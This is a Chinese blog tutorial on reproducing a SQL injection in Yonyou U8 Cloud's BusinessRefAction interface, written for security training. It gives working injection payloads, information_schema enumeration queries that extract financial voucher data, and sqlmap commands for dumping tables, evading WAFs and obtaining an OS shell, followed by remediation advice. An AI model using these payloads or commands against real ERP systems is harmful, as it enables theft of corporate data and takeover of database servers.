企业级ERP系统SQL注入漏洞深度剖析:以用友U8 Cloud为例
2026/6/28 21:05:17 网站建设 项目流程

1. 项目概述:一次典型的企业级应用漏洞深度剖析

最近在梳理一些历史漏洞案例,准备给团队做一次内部的安全意识培训,翻到了用友U8 Cloud这个老熟人。BusinessRefAction这个接口的SQL注入漏洞,算是一个在企业管理软件(ERP)安全审计中非常经典的案例。它不像那些在公网上直接暴露的Web应用漏洞那么“热闹”,但危害性一点不小,因为它直接关联着企业的核心业务数据——财务、供应链、客户信息全在里面。今天我就把这个漏洞的复现过程、原理拆解以及更深层次的防御思考,从头到尾捋一遍,希望能给从事安全研究、企业内网渗透测试或者对ERP系统安全感兴趣的朋友提供一个完整的参考模板。

简单来说,这个漏洞存在于用友U8 Cloud(一个面向中大型企业的云ERP套件)的某个特定业务接口(BusinessRefAction)中。由于对用户传入的参数过滤不严,攻击者可以构造特殊的请求,将恶意的SQL代码“注入”到后端数据库查询语句中并执行。这意味着,理论上攻击者可以绕过登录验证,直接读取、修改甚至删除数据库里的敏感业务数据。复现它,不仅能理解一种常见的漏洞模式,更能透视这类复杂业务系统在安全设计上可能存在的通病。无论你是想验证自家系统的安全性,还是学习漏洞挖掘的思路,这个案例都很有嚼头。

2. 漏洞原理与背景深度解析

2.1 用友U8 Cloud系统架构浅析

要理解漏洞在哪,得先知道系统大概是怎么跑的。用友U8 Cloud并非一个简单的单体应用,它采用典型的多层B/S架构。用户通过浏览器访问,请求先打到Web服务器(通常是Tomcat、WebLogic等),然后由部署在应用服务器上的Java EE应用处理业务逻辑,最终与后端的数据库(常见是SQL Server或Oracle)进行交互。

BusinessRefAction,从名字可以推测,它是一个处理业务参照(Business Reference)动作的接口。在ERP系统里,“参照”是个高频功能,比如你在填制采购订单时,选择供应商,系统会弹个窗让你从列表里选,这个列表数据就是通过这类“参照”接口动态查询并返回的。这类接口的特点是:参数多、过滤难、与数据库交互直接。为了追求查询的灵活性,开发人员常常会直接拼接用户输入的查询条件(如供应商名称、编码)到SQL语句的WHERE子句中,这就为SQL注入埋下了祸根。

2.2 SQL注入漏洞的核心机理

SQL注入的原理,说穿了就是“数据与代码的混淆”。在正常的程序逻辑中,用户输入的数据(比如搜索关键词“北京分公司”)应该始终被当作数据处理。但如果程序编写不当,将用户输入直接拼接到了SQL命令字符串中,那么攻击者就可以精心构造输入,让自己输入的数据的一部分,被数据库解释为要执行的代码。

举个例子,一个正常的参照查询SQL可能是这样的:

SELECT * FROM supplier WHERE name LIKE '%用户输入%' AND status = '有效'

如果用户输入是“北京”,那么SQL就是:

SELECT * FROM supplier WHERE name LIKE '%北京%' AND status = '有效'

这没问题。但如果攻击者输入的是“北京%' OR '1'='1”,拼接后就变成了:

SELECT * FROM supplier WHERE name LIKE '%北京%' OR '1'='1' AND status = '有效'

由于'1'='1'这个条件永远为真,这条查询就可能返回所有供应商的信息,而不仅仅是名称包含“北京”的。这就实现了基础的注入,绕过了原有的查询条件限制。

在BusinessRefAction这个漏洞的特定场景下,问题往往出在接收查询参数的某个字段上,比如conditionfilterrefcode这类参数。后端代码可能使用了类似String sql = "select ... from ... where " + request.getParameter("condition");的危险拼接方式。

注意:在实际的U8 Cloud这类复杂系统中,注入点可能非常隐蔽。它不一定是一个简单的搜索框,可能是通过JSON或XML格式传递的复杂查询条件对象中的某个属性,在层层解析后最终被拼接。这要求测试者具备对业务流和代码逻辑的推测能力。

2.3 该漏洞的潜在影响与风险等级

评估一个漏洞的危害,要看它的攻击路径和影响范围。对于U8 Cloud BusinessRefAction漏洞:

  1. 攻击路径:通常需要至少一个低权限的合法账户(甚至在某些未授权访问配置下可能无需账户)来访问到含有漏洞的接口。这在内网环境中并不难,比如通过社会工程学获取一个普通员工账号。
  2. 影响范围
    • 数据泄露:这是最直接的风险。攻击者可以注入查询语句,拖取整个数据库的表结构(如通过union select查询information_schema),进而获取所有业务数据:员工薪资、客户清单、采购合同金额、产品成本等。
    • 数据篡改:通过注入UPDATEDELETE语句,可以恶意修改财务凭证、伪造出入库记录,直接扰乱企业运营,造成重大经济损失。
    • 权限提升:结合数据库本身的功能(如SQL Server的xp_cmdshell),可能从数据库层面执行系统命令,从而攻陷数据库服务器,并以此为跳板,进一步渗透内网。
    • 拒绝服务:注入耗时的查询(如笛卡尔积查询CROSS JOIN)或SLEEP()函数,可耗尽数据库资源,导致ERP系统响应缓慢甚至瘫痪,影响企业正常业务。

因此,在风险评级中,这类能够直接接触核心数据库、且可能造成广泛数据泄露的漏洞,通常属于高危(High)严重(Critical)级别。尤其对于使用U8 Cloud这类系统的中大型企业,一旦被利用,造成的商业损失和声誉影响是不可估量的。

3. 复现环境搭建与前期准备

3.1 实验环境规划

漏洞复现必须在合法、授权的环境中进行。绝对禁止对任何非自己拥有的系统进行测试。我们这里搭建一个模拟环境。

  1. 目标系统:我们需要一套存在漏洞版本的用友U8 Cloud。通常,可以从官方或某些渠道获得用于测试的旧版本安装包(例如某个2022年之前的特定版本)。请务必确认你获得的软件用于学习研究的合法性。
  2. 操作系统:Windows Server 2012 R2 或 2016。U8 Cloud对Windows Server环境依赖较强。
  3. 数据库:Microsoft SQL Server 2014/2016/2019。需与U8 Cloud版本兼容。
  4. 中间件:JDK 1.8, Tomcat 8.x 或 Weblogic 12c,具体依安装指引而定。
  5. 攻击机:Kali Linux 或任何安装有渗透测试工具的Windows/Mac。常用工具包括:
    • Burp Suite Professional/Community:用于拦截、重放、修改HTTP请求,是发现和测试注入点的核心工具。
    • SQLMap:自动化SQL注入检测与利用工具,用于验证漏洞并提取数据。
    • 浏览器:Chrome或Firefox,配合Proxy插件(如FoxyProxy)将流量导向Burp Suite。
  6. 网络:将U8 Cloud服务器和攻击机置于同一局域网(如VMware/Hyper-V的同一NAT或仅主机网络),确保互通。

3.2 U8 Cloud安装与基础配置踩坑记录

安装U8 Cloud是个体力活,也是第一个“坑点”。它涉及数据库创建、中间件部署、产品安装、配置中心初始化等一系列步骤。

  • 数据库准备:安装SQL Server时,建议使用“混合身份验证模式”(SQL Server身份验证和Windows身份验证),并记住设置的sa密码。创建一个新的数据库实例给U8 Cloud使用。
  • 安装过程:运行安装程序,通常需要指定JDK路径、应用服务器(如Tomcat)路径、数据库连接信息(服务器地址、实例名、sa账号密码、要创建的数据库名)。这个过程可能会因为环境问题(如端口占用、权限不足、缺少系统组件)而失败。
  • 常见安装错误与解决
    • 检测不到IIS:U8 Cloud某些组件或安装检查可能需要IIS。如果安装程序报此错,可以在Windows“启用或关闭Windows功能”中安装IIS基本服务。但请注意,生产环境可能不需要完整IIS,具体看文档。
    • 端口冲突:默认的8080(Tomcat)、1433(SQL Server)端口可能被占用。安装前用netstat -ano检查,并做好更改准备。
    • 注册表清理:如果之前安装失败,再次安装前最好使用官方或可靠的“用友U8注册表清理工具”,彻底移除旧条目,避免残留配置干扰。
  • 安装后验证:安装完成后,访问http://服务器IP:端口/u8cloud(具体路径可能略有不同),应能看到登录页面。用默认管理员账号(如admin/空密码或指定密码)尝试登录,确保系统基本运行正常。

实操心得:强烈建议在虚拟机(VMware Workstation或VirtualBox)中完成整个环境的搭建。为虚拟机拍摄“快照”,在关键步骤(如安装完成、配置好后)保存状态。这样,当测试过程中把系统搞乱或想从头再来时,可以快速回滚,节省大量时间。

3.3 测试工具配置与流量捕获

  1. 浏览器代理设置:在攻击机的浏览器中安装SwitchyOmega或FoxyProxy等插件,配置代理指向Burp Suite监听的地址(通常是127.0.0.1:8080)。
  2. Burp Suite配置
    • 启动Burp,在Proxy -> Options中确保代理监听器(Listener)是开启的。
    • 在Proxy -> Intercept中,确保“Intercept is on”是关闭状态,我们先进行流量记录。
    • 访问U8 Cloud登录页面,在Burp的HTTP history中应该能看到相关的请求。为了能捕获到浏览器发送的HTTPS流量(如果U8 Cloud启用了HTTPS),你需要将Burp的CA证书导入到浏览器的受信任根证书颁发机构中。具体操作是在浏览器中访问http://burpsuite,下载证书并安装。
  3. 寻找潜在接口:登录系统后,通过浏览器的开发者工具(F12)的Network面板,观察你的操作(比如点击某个参照按钮)触发了哪些XHR(Ajax)请求。重点关注请求URL中包含ActionServletdo等关键词,以及请求参数看起来像是查询条件(如conditionqueryparams)的POST或GET请求。这些就是我们要测试的潜在入口。

4. 漏洞发现与手工注入验证

4.1 定位BusinessRefAction接口

在U8 Cloud中,参照动作的接口命名通常有一定规律。通过观察网络请求,你可能会发现类似以下的请求:

POST /u8cloud/xxx/yyy/BusinessRefAction.do?method=queryRefData

或者

GET /u8cloud/servlet/RefServlet?refcode=VENDOR&condition=...

我们的目标是找到那个处理参照查询的核心接口。一个有效的方法是,在系统中任意打开一个需要参照输入的地方(比如凭证录入时选择科目),用Burp Suite抓取这个操作发出的请求。请求体中很可能包含一个名为refDataxmljsonData的参数,里面封装了查询条件。

假设我们找到了一个疑似接口:

POST /u8cloud/ierp/servlet/BusinessRefAction HTTP/1.1 Content-Type: application/x-www-form-urlencoded method=getRefData&refCode=AA_Customer&condition=custName like '%测试%'

这里,condition参数的值被直接用于构建查询条件,是重点怀疑对象。

4.2 初步探测与注入点确认

手工验证注入的第一步是判断是否存在注入漏洞,以及是什么类型的注入。

  1. 错误回显探测:修改condition参数,尝试触发数据库错误。例如,将值改为:

    condition=custName like '%测试%' and 1=1 --

    在SQL中,--是注释符,会注释掉后续的SQL代码。如果页面正常返回数据,再将参数改为:

    condition=custName like '%测试%' and 1=2 --

    如果此时页面返回的数据为空或与第一次明显不同(因为1=2永假),那么这就强烈暗示我们注入的SQL片段被执行了,且这是一个基于布尔(Boolean)的注入点

  2. 时间盲注探测:如果页面没有明显的数据变化或错误信息,可以尝试时间盲注。例如,使用数据库特有的延时函数:

    • 对于SQL Server:condition=custName like '%测试%'; WAITFOR DELAY '0:0:5' --
    • 对于Oracle:condition=custName like '%测试%' AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)=1 --
    • 对于MySQL:condition=custName like '%测试%' AND SLEEP(5) --发送请求后,观察响应时间是否明显增加了大约5秒。如果是,则存在基于时间(Time-based)的盲注
  3. 联合查询探测:如果页面会直接显示查询结果,可以尝试联合查询(UNION SELECT)来探测列数。例如:

    condition=custName like '%测试%' order by 5 --

    不断增加order by后面的数字,直到页面报错(如“列索引无效”),那么最后一个成功的数字就是查询结果的列数。假设列数是5,接下来可以尝试:

    condition=custName like '%测试%' union all select null,null,null,null,null --

    如果页面正常,说明联合查询可用。然后可以将null依次替换为数据库函数,如@@version(SQL Server版本)、user()(当前用户)等,来在页面中回显信息。这就是可联合查询的注入(Union-based)

注意事项:在实际测试中,condition参数的值可能被URL编码、Base64编码或封装在JSON/XML中。你需要根据实际情况,在Burp Suite的Decoder或Repeater模块中进行相应的编码/解码操作,确保你注入的payload能以其“原始”的SQL片段形式被后端接收和处理。这是手工注入成功的关键。

4.3 手工注入利用实战

假设我们确认了condition参数存在基于布尔的注入,并且通过order by探测出主查询有4列。

  1. 获取数据库基本信息

    • 当前数据库用户:condition=custName like '%测试%' union all select user(),null,null,null --
    • 当前数据库名:condition=custName like '%测试%' union all select db_name(),null,null,null --
    • 数据库版本:condition=custName like '%测试%' union all select @@version,null,null,null --
  2. 枚举数据库表名:以SQL Server为例,利用information_schema.tables

    condition=custName like '%测试%' union all select table_name,null,null,null from information_schema.tables where table_catalog='UFDATA' --

    这里需要猜测或通过错误信息获取当前数据库名(如UFDATA_XXX_YYYY)。通过观察返回的数据,寻找可能存储敏感信息的表,如Person(人员)、Customer(客户)、Vendor(供应商)、AA_Account(科目表)、AA_Pz(凭证表)等。

  3. 枚举表字段名:假设我们找到了AA_Pz(凭证表)。

    condition=custName like '%测试%' union all select column_name,null,null,null from information_schema.columns where table_name='AA_Pz' --
  4. 提取敏感数据:假设AA_Pz表有pzNo(凭证号)、pzAbstract(摘要)、debit(借方金额)、credit(贷方金额)等字段。

    condition=custName like '%测试%' union all select pzNo, pzAbstract, debit, credit from AA_Pz where rownum<=10 --

    这样,我们就能直接看到前10条财务凭证的核心信息。

这个过程清晰地展示了,从一个看似无害的查询参数,如何一步步深入,最终窃取到企业最核心的财务数据。手工注入虽然繁琐,但能让你对漏洞的利用链有最深刻的理解。

5. 自动化工具辅助验证与利用

手工验证证明了漏洞的存在,但要想高效地提取大量数据或进行深度利用,自动化工具是必不可少的。SQLMap是这方面的王者。

5.1 SQLMap基础配置与使用

首先,将Burp Suite捕获到的含有潜在注入点的请求,右键保存到一个文本文件中,比如req.txt

# 基础检测,判断是否存在注入 sqlmap -r req.txt --batch # 如果检测到注入,获取当前数据库名 sqlmap -r req.txt --batch --current-db # 枚举指定数据库(如UFDATA_001_2023)中的所有表 sqlmap -r req.txt --batch -D UFDATA_001_2023 --tables # 枚举指定表(如AA_Pz)的所有列 sqlmap -r req.txt --batch -D UFDATA_001_2023 -T AA_Pz --columns # 导出指定表的所有数据 sqlmap -r req.txt --batch -D UFDATA_001_2023 -T AA_Pz --dump # 如果数据量大,可以限制条数或导出到文件 sqlmap -r req.txt --batch -D UFDATA_001_2023 -T AA_Pz --dump --start 1 --stop 100 -o ./dump_result/

5.2 针对复杂场景的SQLMap高级参数

U8 Cloud的接口可能比较复杂,直接使用-r参数可能不够。

  1. 处理Cookie/Session:如果接口需要登录态,确保req.txt文件中包含了从登录后捕获的请求头,特别是Cookie字段。SQLMap会自动使用。
  2. 处理POST数据与参数:如果注入点参数在复杂的JSON或XML中,需要使用--data参数指定POST数据,并用*标记注入点。
    sqlmap -u "http://target/u8cloud/ierp/servlet/BusinessRefAction" --data="method=getRefData&refCode=VENDOR&condition=测试*" --batch
  3. 设置延迟与规避:为了防止触发WAF(Web应用防火墙)或速率限制,可以设置请求延迟和随机化User-Agent。
    sqlmap -r req.txt --delay=2 --random-agent --batch
  4. 指定数据库类型:如果你已经知道后端是SQL Server,可以指定以加快检测速度。
    sqlmap -r req.txt --dbms=mssql --batch

5.3 利用SQLMap进行深度利用

除了拖数据,SQLMap还能做更多:

  • 获取操作系统Shell:如果数据库用户权限足够高(如sa),可以尝试通过SQLMap执行系统命令。
    sqlmap -r req.txt --batch --os-shell
    这个命令会尝试上传一个命令执行代理,成功后你就能在数据库服务器上执行系统命令了。这是一个破坏性极大的操作,仅在授权的渗透测试中,且与客户明确约定范围后使用。
  • 搜索特定数据:在整个数据库中搜索包含关键词(如“password”、“email”)的列。
    sqlmap -r req.txt --batch --search -C password,email

实操心得:在使用SQLMap进行自动化测试时,务必使用--batch参数(自动选择默认选项),否则它会频繁弹出交互问题,打断自动化流程。同时,建议将输出重定向到文件以便分析:sqlmap -r req.txt --batch --output-dir=./scan_result。另外,对于企业级应用,直接--dump大表可能会产生巨大流量和日志,容易被发现。在真实测试中,应先评估数据量,或使用--count先统计行数。

6. 漏洞修复建议与安全开发思考

复现漏洞不是终点,如何修复和预防才是关键。对于企业开发和安全团队,可以从以下几个层面着手:

6.1 紧急临时处置措施

如果线上系统发现此类漏洞,应立即采取临时加固措施:

  1. WAF规则:在Web应用防火墙或网关层面,部署针对BusinessRefAction等敏感接口的防护规则,对请求参数中的SQL关键字(如union,select,insert,',--,;,exec等)进行过滤或拦截。但要注意,这可能影响正常的业务查询(如公司名包含“Union”)。
  2. 接口访问控制:检查该接口的访问权限。是否所有登录用户甚至未授权用户都能访问?收紧访问策略,确保只有必要的业务角色和场景才能调用。
  3. 参数输入过滤:在应用层,对传入condition等参数进行严格的输入验证。例如,限制其长度、字符类型(如只允许中文、英文、数字和少数特定符号),并对单引号等特殊字符进行转义。但注意,转义并非万能,且容易因数据库差异或二次解码等问题失效。

6.2 根本性修复方案

临时措施治标不治本,根本修复在于修改代码。

  1. 使用预编译语句(Prepared Statements):这是防止SQL注入最有效、最根本的方法。将SQL语句的结构(命令和占位符)与数据(用户输入)分离。

    • 错误示例(拼接)
      String sql = "SELECT * FROM Customer WHERE custName LIKE '%" + condition + "%'"; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(sql);
    • 正确示例(预编译)
      String sql = "SELECT * FROM Customer WHERE custName LIKE ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, "%" + condition + "%"); // 输入会被安全地处理为参数,不会被解释为代码 ResultSet rs = pstmt.executeQuery();

    无论用户输入什么,condition在预编译语句中都只会被当作一个普通的字符串值,无法改变SQL命令的结构。

  2. 使用安全的ORM框架:如MyBatis、Hibernate。但要注意,错误地使用MyBatis的${}(文本替换)依然会导致注入。必须坚持使用#{}(参数占位符)。

    • 错误示例(MyBatis)
      <select id="queryRef" parameterType="String" resultType="Map"> SELECT * FROM Customer WHERE custName LIKE '%${condition}%' </select>
    • 正确示例(MyBatis)
      <select id="queryRef" parameterType="String" resultType="Map"> SELECT * FROM Customer WHERE custName LIKE CONCAT('%', #{condition}, '%') </select>
  3. 存储过程:将复杂的查询逻辑封装在数据库的存储过程中,应用层只传递参数调用存储过程。这也能有效隔离SQL指令和数据。

6.3 安全开发流程与常态化防护

修复一个漏洞容易,建立防止漏洞产生的机制更难。

  1. 安全编码规范:将“禁止SQL字符串拼接”、“必须使用参数化查询”写入开发规范,并通过代码审查(Code Review)强制执行。
  2. 自动化代码审计(SAST):在CI/CD流水线中集成静态应用安全测试工具(如Fortify、Checkmarx、SonarQube),自动扫描代码中的SQL注入、XSS等漏洞模式。
  3. 定期渗透测试与漏洞扫描:对线上系统,特别是核心业务模块(如财务、供应链),定期聘请专业团队或使用自动化扫描器(如AWVS、Nessus)进行黑盒/灰盒测试,主动发现类似BusinessRefAction这样的接口漏洞。
  4. 最小权限原则:为ERP应用连接数据库的账户分配最小必要的权限。通常,业务应用账户只需要特定库的SELECTINSERTUPDATEDELETE权限,绝不应该拥有db_ownersa或执行系统命令的权限。这样即使发生注入,危害也能被限制在较小范围。
  5. 安全日志与监控:启用数据库和应用服务器的详细审计日志,监控异常的SQL查询模式(如大量union selectinformation_schema查询、非常规时间的大量数据读取)。建立实时告警机制。

7. 漏洞复现的延伸思考与总结

通过完整复现U8 Cloud BusinessRefAction SQL注入漏洞,我们得到的远不止一个漏洞利用的POC。它更像一个解剖样本,揭示了企业级复杂应用在快速发展业务过程中可能忽视的安全死角。

这类漏洞的根源,往往是业务压力下的技术债务。开发人员为了快速实现一个灵活的参照查询功能,选择了最简单的字符串拼接方式,而忽略了安全评审。测试人员可能更关注功能是否实现,而缺乏专业的安全测试用例。上线后,系统运行在受信任的内网环境,更降低了人们对它的安全警惕。

从防御者视角看,防守这类漏洞需要纵深防御。从网络边界的WAF,到主机的HIDS,再到应用层的参数校验、代码层的安全编码、数据库层的权限控制,最后到运维层的日志审计,每一层都可能成为拦截攻击的关卡。任何一层的完全失效,都可能让攻击者直捣黄龙。

最后,对于安全研究人员和渗透测试工程师而言,这个案例也强调了对业务逻辑的理解的重要性。找到BusinessRefAction这样的接口,需要你知道ERP系统中“参照”是什么功能。挖掘漏洞,不仅需要技术工具,更需要你对目标系统的业务流有基本的认知。当你看到一个“查询”功能,特别是那种可以自由组合多种条件的“高级查询”,就应该在脑子里拉响警报:这里,很可能就是注入的入口。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询